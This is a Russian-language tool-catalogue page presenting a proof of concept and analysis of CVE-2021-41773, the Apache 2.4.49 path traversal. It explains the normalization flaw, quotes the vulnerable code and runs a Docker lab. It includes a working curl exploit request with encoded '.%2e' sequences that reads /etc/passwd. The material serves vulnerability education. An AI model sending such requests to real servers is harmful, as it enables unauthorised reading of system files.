Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-41773 — PoC и анализ CVE-2021-41773 | Kitploit
Инструменты/GitHubGitHub/tr3m0x/cve-2021-41773
Анализ уязвимостейЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC и анализ CVE-2021-41773

Репозиторий
61 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-41773 PoC — обход пути в Apache HTTP Server

Обзор

CVE-2021-41773 — это уязвимость обхода пути, затрагивающая Apache HTTP Server 2.4.49.

Уязвимость позволяет атакующему получать доступ к файлам за пределами целевого каталога при определённых конфигурациях, особенно когда каталоги открываются через директивы Alias, ScriptAlias или другие аналогичные директивы.

Уязвимость существует из-за некорректной обработки нормализации и канонизации пути URL. Apache выполнял проверки безопасности над представлением пути, которое всё ещё могло содержать закодированные символы, что позволяло атакующим обходить обнаружение обхода пути с помощью закодированных последовательностей точек.


Воздействие

Атакующий может сформировать вредоносный URL, содержащий закодированные последовательности обхода пути, например:

root@kitploit:~
.%2e

где:

root@kitploit:~
%2e = .

Следовательно:

root@kitploit:~
.%2e

становится:

root@kitploit:~
..

после декодирования.

Скачать инструмент

Если Apache проверяет закодированное представление до приведения его к канонической форме, проверку обхода пути можно обойти.

Успешная эксплуатация может позволить атакующему читать произвольные файлы из файловой системы.

Пример цели:

root@kitploit:~
/etc/passwd

Уязвимый код

Уязвимая логика находится в:

root@kitploit:~
server/util.c

внутри:

root@kitploit:~
ap_normalize_path()

Уязвимый код Apache 2.4.49:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Анализ первопричины

Уязвимый код пытается обнаружить шаблоны обхода каталога:

root@kitploit:~
../

проверяя наличие последовательных точек:

root@kitploit:~
path[l + 1] == '.'

Однако атакующий может предоставить закодированную последовательность обхода:

root@kitploit:~
/.%2e/

На момент проверки нормализации Apache обрабатывает:

root@kitploit:~
.%2e

вместо:

root@kitploit:~
..

Поскольку:

root@kitploit:~
%2e != .

логика обнаружения обхода пути не распознаёт последовательность как:

root@kitploit:~
../

Затем путь интерпретируется в декодированной форме, что позволяет осуществить обход.


Уязвимый поток обработки

Уязвимое поведение можно представить следующим образом:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

Решение о безопасности принимается до того, как путь достигнет своей конечной канонической формы.

Более безопасный подход:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

Проверки безопасности всегда должны выполняться над конечным нормализованным представлением.


Лабораторная настройка

Клонирование репозитория

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Сборка уязвимого Docker-образа

root@kitploit:~
docker build -t apache-cve-2021-41773 .

Запуск уязвимого сервера Apache

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Эксплуатация

Отправьте запрос, содержащий закодированную последовательность обхода пути:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Успешная эксплуатация возвращает содержимое:

root@kitploit:~
/etc/passwd

Пример:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

Примечание об ответах HTTP 403

Ответ 403 Forbidden не обязательно означает, что эксплуатация не удалась.

Во время тестирования Apache может успешно нормализовать:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

в:

root@kitploit:~
/etc/passwd

но отказать в доступе из-за прав файловой системы или правил авторизации Apache.

Пример:

root@kitploit:~
client denied by server configuration: /etc/passwd

Это указывает на то, что обход пути прошёл успешно, но контроль доступа предотвратил раскрытие файла.


Ключевой вывод

CVE-2021-41773 — это классический пример уязвимости канонизации.

Входные данные, контролируемые пользователем, могут иметь несколько представлений:

root@kitploit:~
.%2e

и:

root@kitploit:~
..

Хотя они выглядят по-разному, они представляют один и тот же компонент пути.

Проверки безопасности должны всегда выполняться после декодирования и нормализации. Проверка закодированного или неоднозначного представления может привести к обходу защиты.